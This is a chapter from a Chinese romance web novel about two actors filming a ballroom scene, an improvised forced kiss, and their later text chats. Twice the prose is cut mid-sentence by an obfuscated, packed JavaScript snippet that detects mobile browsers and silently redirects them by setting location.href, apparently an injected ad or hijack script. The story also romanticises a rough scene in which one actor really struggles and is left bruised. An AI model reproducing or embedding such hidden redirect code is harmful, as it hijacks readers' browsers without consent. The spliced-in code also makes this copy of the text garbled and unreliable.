不过若现有的心源状况良好,手术顺利,弗纳尔·格林还是打算让逃过一劫的米契尔挑选位得体的妻子,维护格林家族的利益。 今日,他逼迫米契尔来参会,就是为了让其熟悉各家小姐的情况。 弗纳尔·格林膝下共有三子,前两个儿子皆已婚配,剩余的这位小少爷,自然成为不少人想攀附的对象。 即便米契尔的性取向,已经是众所周知的事。 酒会进行过半,四周的灯光忽然幽暗,唯独中央的舞场光鲜璀璨。 乐队开始演奏,许多男女牵手入场,伴着悠扬的音乐浪漫起舞。 时不时有侍者靠近印澄,传达某位小姐想要共舞的意愿。 印澄拒绝到第五位时,神色稍显疲惫。 “贝克,带我走吧,”印澄半靠着宋屿,用他的胸膛当做支撑。 隐秘的窥探者们注意到了这一幕,但为家族利益,邀请仍如雪花般纷飞而至。 “米契尔少爷,酒会还没结束。”贝克规矩站着,语气平静。 印澄豁然离开他,愠怒道:“怎么,你希望我留在这里?” “我无法替您做任何决定。”宋屿目光平视,没有看他。 印澄开始生气,若是从前,定要一杯酒砸过去。 但现在,他只对宋屿怒目而视,希望对方能察觉到他在发火。 宋屿置若罔闻,从容地和再次走过来的侍者交涉。 “夏普家的露西妮小姐,”宋屿用目光搜索到人后,对印澄介绍,“是那位穿粉裙子的,您有兴趣吗?” 印澄咬了下牙,使劲儿踢他小腿一脚。 这段剧本里没有,但米契尔忍不住了。 宋屿被踢得微微后退,目送印澄朝露西妮·夏普走去。 小腿传来火辣辣的痛,完美传达出踢人者的愤怒。 不知为何,吃痛之余,宋屿居然微妙地觉得心情好。 尤其是印澄牵起露西妮入场前的那一瞪,更让他感到愉.悦。 这该是贝克应有的心情吗? 宋屿片刻恍惚,再回神时,印澄已经揽着露西妮柔.软的腰.肢,和她翩然起舞了。 看见那只手摆放的位置,宋屿脸色猛地一沉。 印澄没再看他,板着张脸,在露西妮的带领下优雅地变换舞姿。 喜怒哀乐,全都一目了然。 摄影师跟在他们身后,进行近距离拍摄,另有一台机器捕捉宋屿的表情。 宋屿知道,接下来会发生什么。 露西妮即将和米契尔悄悄耳语,约定婚后可以各不干预,只走过场。 剧本中,露西妮也有自己的心上人,而且这个姑娘热情爽朗,从某种程度来说,很对米契尔的脾气。 果然,跳了两圈后,远处的两位在窃窃私语。 露西妮有一头蜂蜜色的长卷发,印澄低头靠近她时,侧脸会被茂盛的卷发遮挡。 从宋屿的位置看过去,很像是对情投意合的恋人在偷偷接吻。 宋屿呼吸困难。 他清楚,米契尔和露西妮并没有吻戏,一切都是站位带来的错觉,跟在身后的摄影师更能时时刻刻提醒他,这只不过是场戏。 但宋屿现在是贝克,他眼中的世界,就是真实的。 随着舞姿变换,米契尔和露西妮拥抱在一起轻盈旋转着,如果热恋中的情人,无法抑制地落下一个又一个吻。 相聚,分开,相聚,分开。 耳鬓厮磨,在人群之中,轻语着只属于他们的秘密。 聊着聊着,印澄倏然对露西妮展露笑颜。 宋屿知道,露西妮在咒骂自己的古板老爸,而印澄则产生了共鸣。 但贝克不知道。 那灿烂的笑仿佛淬过毒的刀,在宋屿心头细密地戳扎着,残忍而不间断。 这首曲子叫《Danube Waves》,旋律如波.浪般起.伏,节奏间仿佛能听见河水在潺潺流淌。 宋屿熟悉每一个小节,在心里略带焦急地打着拍子,期望它能快点结束。 米契尔和露西妮终究会分开。 跳完这首曲子,米契尔将回到他身边,接受侍者的下一次询问。 而贝克将在这时醋意大发,拉着他的小少爷,躲在酒会角落里的窗帘后热.吻。 还有两个节拍,印澄便会走向他。 宋屿把手插在裤兜里,耐心等待。 他们还在笑。 剧本上的台词有那么多吗? 宋屿在心里迅速默背了一遍,认为按照印澄的语速,10秒钟前就该停止。 可他们还在笑。 在说什么?现场发挥的词? 露西妮的笑容比方才多了几分真诚,甚至跟演员本人开心的样子差不多。 旋转旋转旋转。 裙摆飞扬,缠.着印澄的裤脚,却没将两人绊倒,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14045054|147834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把他们卷为一体。 很轻盈的舞步,像精灵欢跳在河面上。 宋屿没想到印澄跳得会这样好。 他们甚至没提过这方面的话题。 印澄曾经和谁跳过吗? 还是为了这场戏,特意找过舞蹈老师? 最后一小节被乐团即兴延长,仿佛是场折磨人的酷刑。 当音符彻底休止,场外立刻响起捧场的掌声。 宋屿调整好状态,等印澄过来和自己搭戏。 印澄远远地看了宋屿一眼,留在原地。 他继续和露西妮热聊,半点没有离场的意思。 宋屿呼吸加深。 按照剧情,印澄该回来才对。 杨临没喊Cut,摄影机仍在运转。 宋屿随手拿过侍者端来的酒,喝了一口。 米契尔的保镖在当差期间不能喝酒,但贝克向来是例外。 印澄挑起一缕露西妮的发丝,颇感兴趣地在指.间缠.绕。 露西妮轻打他一下,娇.柔无力,嗔怪着,调笑着。 宋屿重重放下酒杯,力道过大,连剩余的一底残酒都被震了出来。 第二支曲子开始演奏。 印澄对露西妮绅士地做出邀请的手势,想和她再度共舞。 宋屿在理智做出判断前,本能地动了。 他闯入舞池,绕过数名亲密的男男女女,大步走向印澄。 在露西妮的手搭上去之前,宋屿抢了个先。 他把印澄拉拽到身后,对露西妮生硬道歉:“抱歉,米契尔少爷还有事,先行一步。” 露西妮用手捂着胸口,接戏能力很强,似乎被他唐突的举动吓到了。 印澄似笑非笑地盯着他,没拆穿宋屿的谎言。 宋屿紧握住他的手,在宾客们惊讶的目光中,就那样将他拉出舞池。 摄影师迅速跟上,穿过人群,远离灯光,直至钻入那道厚重的深红色落地窗帘后。 彻底避开多余的目光,宋屿瞬间含.住印澄的唇,泄.愤似地用牙齿碾.咬。 印澄被他咬得“唔唔”呻.吟,痛.苦地拍打宋屿宽阔的肩,想把人推开。 察觉到他的抗.拒,宋屿吻.得更加激.烈,不由分说去解他的裤.带。 印澄试图按住宋屿的手,不让他得逞。 但他挣不过宋屿。 就像米契尔在力量方面,永远也挣不过贝克。 “贝克·摩利,你就是这么对主人的?嗯?”印澄气.喘吁吁,被强行转过身后,坏笑着回头看他。 宋屿没错过主动送上门的羔.羊,再次深.吻住他。 “你、你到底想干什么?”艰难获得空气的间.隙里,印澄如此问他。 “干.你。”宋屿发狠,扯住他的头发,再次剥.夺他喘.息的余地。 窗帘在无光的黑暗处晃.动,起.伏出巨大的、海.浪状的波.涛。 镜头不断推远,那窗帘被三三两两的宾客挡住,被路过的侍者挡住,被舞动的裙摆挡住。 最终,彻底消失在画面中。 “Cut!”杨临高喊出声,从监视器前站起身,兴奋地带头鼓掌。 “精彩!太精彩了!” “这是我见过最好的即兴表演!” 39.Follow your heart. 印澄嘴.唇很疼。 他用舌.头试着舔.了舔,发现好像肿.了。 不止是嘴,手.腕也在隐隐作.痛,应该是刚才和宋屿挣.扎时弄的。 印澄走出厚重的落地窗帘,在灯光下检查腕.部,赫然发现了鲜明的指.印。 工作人员们在互相道辛苦,这是今天的最后一场戏,收工的喜悦感染着每一个人。 印澄拽好衣袖,竭力隐藏伤痕,和大家微笑告别。 宋屿太吓人了。 剧本上的确提到过解.裤带,但并没提及要他真正脱.下。 印澄以为对方只是做做样子的,可看刚才那架势,宋屿竟像是要来真的。 他的挣.扎,也是真的。 效果出奇的好,连导演看了都赞不绝口,只有印澄知道,他在努力护住自己的裤.子。 接拍这部戏,印澄知道有不少大胆镜头,内心也早已做好各种准备。 刚才就算没挣过宋屿,也顶多是露一下底.裤,按理说也没什么。 但今天不行。 印澄穿的是海绵宝宝。 他难以想象魅.惑系的米契尔少爷会被贝克扒出个海绵宝宝。 印澄绝不能允许这种事情发生。 他叹口气,揉.揉被扯痛的发根,感慨在这种事情上,宋屿还是跟温柔不沾边。 不过…… 印澄对着自己,又叹了口气。 刚才被宋屿扯着头发强.吻时,他小.腹居然一.热,莫名其妙地兴.奋了。 幸亏早上解决过,否则他可能还得出状况。 宋屿那边,大概也没什么问题吧。 印澄换好衣服,卸了妆,忽然有种从内而外的疲惫感。 刚刚的兴奋到底是怎么回事。 难道他觉醒了什么不得了的癖.好,喜欢上这种了? “阿澄。”宋屿在拍摄棚门口叫住他,“你……还好吗?” “没事没事!”印澄摆摆手,装出副轻松的样子。 拍戏嘛,这点小伤根本不值一提。 有时遇到那种耳光戏也得硬挨着,打得不够脆不够响还得多来几条,很正常。 倒是宋屿上午拍的那段从折叠梯摔落、砸塌香槟塔的戏份,十分危险。 虽然酒杯都是糖做的道具,碎片不会划破皮肤,但从那么高的地方摔下来,终究是有难度的。 杨临数次想用替身,却被宋屿一次次否决。 宋屿出道后的所有戏份,都是亲自上阵。 这是他的准则。 拍完那段,宋屿神色如常,并没有耽误任何进度,但印澄知道,有些疼痛还是避免不了的。 宋屿的敬业,一直很让他钦佩。 印澄不想因为点小事惹宋屿担忧。 宋屿皱眉,动作轻柔地拉过他的手,卷开袖口。 “真没事!”印澄想缩回去。 “别动。”宋屿制止住他的动作,沉声道:“我不想再弄伤你。” 印澄被这句话吓到,当真不敢动了。 灯光下,白.皙的腕.部布满交错的红.印,有种被欺.辱后惹人疼.惜的美。 宋屿喉.咙滚动,拇指抚.过那些痕.迹,看得入迷。 “疼吗?”宋屿摩.挲着他的双手,不知是检查,还是把玩。 印澄抿唇,很想说“你多揉.揉就不疼了”。 但他没好意思开口。 宋屿眼带笑意,了然般继续替他按.揉,动作轻缓,用手.掌的温.热帮他化淤。 印澄被他弄.得舒.坦,心里知道在外面这样不好,可就是没办法让他停下。 他有种宋屿很珍视自己的感觉,却不知道这样的想法,算不算一种错觉。 宋屿的余光捕捉到了什么,忽然放开他的手。 印澄转头去看,发现花絮师正扛着机器拍得起劲儿。 现在早就过了下班时间,工作人员都已经走得差不多七七八八,没想到花絮师竟然还在录! 印澄慌了一瞬,很快又镇定下来。 他和宋屿是荧幕CP,即便有亲昵互动也很正常。 自然点,坦荡点。 他们现在,可以光明正大地在一起。 察觉到被发现,花絮师笑了笑,不退反进,似乎还想靠近拍。 “就到这里吧。”宋屿用身体挡住印澄,伸手制止。 花絮师一愣,停在原地,却也没关机器。 宋屿不悦。 等在旁边的沈秋心领神会,迈步过去交涉。 花絮师没想到对方会较真儿,忙举手打了个哈哈,表示自己并无恶意。 “走吧。”印澄扯扯宋屿的衣角,小声劝道。 花絮师这样,多半也是受张韦达的指示。 宋屿眼眸低垂,“嗯”了声,跟在他身后,随他离开。 * * * 宋屿:【你学过交际舞?】 回到酒店,印澄刚洗漱完毕,就收到了宋屿发来的信息。 印澄:【前两天临时学的】 印澄:【和汪澜排练过几次】 宋屿:【汪澜?】 印澄:【就是那位演露西妮的姑娘】 印澄:【她以前跳过国标基础特别好帮了我很多】 拍摄期间,贝克有很多单人戏份,印澄的交际舞便是在闲暇时间抓紧练成的。 在SN当练习生时,印澄也学过跳舞,身.体柔.软度不错,四肢协调,学习新舞种的速度也比较快。 印澄以为宋屿对交际舞感兴趣,就多说了些练舞时的趣事。 汪澜是位宽容的姑娘,练的时候一直在给他加油打气。 印澄:【对了,她想要一张你的签名照】 印澄:【可以吗?】 打完这些字,印澄才发现自己现在求宋屿帮忙,求得很自然。 像和敖乐盐说话那样,完全不担心对方是否会觉得烦。 仿佛已经把宋屿当成自己人了…… 果然,宋屿答应得很痛快。 宋屿:【签名照我明天亲自交给她】 宋屿:【多签几张】 宋屿:【感谢她这么照顾你】 印澄盯着这几行字,只觉得胸口暖烘烘的。 宋屿会为了他感谢别人。 啊,这种发言,好有家属感啊。 宋屿:【阿澄,以后这种事,你可以多分享给我】 宋屿:【我很喜欢听】 印澄:【嗯!】 印澄:【屿哥,你有事也可以分享给我的】 印澄:【[太阳][太阳]】 发完后面这两条,印澄久违地又有点紧张。 每次聊天,宋屿几乎都是倾听者,只有印澄说一大堆自己的事。 如果可以,他也想听。 听听宋屿那些自己看不见的日常。 听听他在做什么,又在想什么。 这次宋屿回复的时间有点久。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14056542|147834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过和往常一样,他还是答应了。 宋屿:【好】 印澄忍不住偷笑,将这段聊天记录截屏,保留下来。 无论认识多久,印澄都是他最忠实的小羽毛。 偶像的一言一行,他都想记录下来,反复观看。 如果他俩晨会的时刻也能录…… 印澄被这个念头吓了一跳,懊恼地揉.乱头发。 瞎想什么呢。 不过,想想也没有罪…… 不行!想也不行! 印澄板住脸,自我训.诫要和宋屿健康阳光地交往,不能像小电影里那样无耻。 等等,他们现在,算是在交往吗? 印澄陷入纠结,苦于没人倾诉,思来想去,还是登小号去找OWL寻求意见。 鲨鱼没蛀牙:【我觉得,我喜欢的那位前辈,好像也有点喜欢我】 鲨鱼没蛀牙:【[捂脸]】 鲨鱼没蛀牙:【这是……错觉吗?】 印澄几乎每天都会和OWL分享自己的暗恋路程,把和宋屿的事换一种说法,委婉地讲出来。 OWL绝对猜不到他是演员,更联想不到他的那位前辈,会是宋屿。 能有一位无话不说的网友实在是种幸事,印澄很依赖他。 不过,OWL也比较擅长倾听,不习惯倾诉。 这点还和宋屿挺像的。 印澄留完言后,耐心等待。 OWL上线的时间并不固定,但只要有空,就会回复。 10分钟,印澄得到了反馈。 OWL:【Follow your heart.】 印澄握着手机,哧哧笑了。 不愧是OWL,总是挑他喜欢听的话说。 那就这样吧。 Follow my heart. * * * 次日起床,印澄遇到了难关。 他觉得自己的小小澄睡得很熟。 大概是连续几日都出过货的缘故,它进入了平静期。 或许,无论今天拍戏时怎么亲,也不会突然苏醒。 印澄慢吞吞地爬起床,很想推掉和宋屿的约定。 他不是那种精.力旺盛的人。 短期内那么多次,已经超出常态了。 也许宋屿和他一样,觉得这种亲密交流可以适当地停一停? 时间是5点半。 印澄觉得宋屿应该醒了,试探着发过去条信息。 【今天,还来嘛】 他问这话时,使用了技巧。 成.年人社交,总喜欢迂回地达到目的。 在有约定的情况下,问“还来嘛”的潜台词,就是“不用来也行”的意思。 最好别来。 依照宋屿丰富的社会经验,印澄相信,他能听得懂。 两秒后,宋屿弹出条新气泡。 【嗯。】 印澄傻眼。 “嗯”? “嗯”?? 宋屿居然没懂! 怎么办? 难道他得把话说得更清楚? 印澄运气,对话框里的内容写了又删,删了又写,终究还是没勇气发出去。 这种事,拒绝得太生硬,不太好吧。 还是等宋屿来了再说。 想是这么想,等印澄反应过来时,他发现自己听从宋屿昨天的话,已经换上了浴袍。 空档。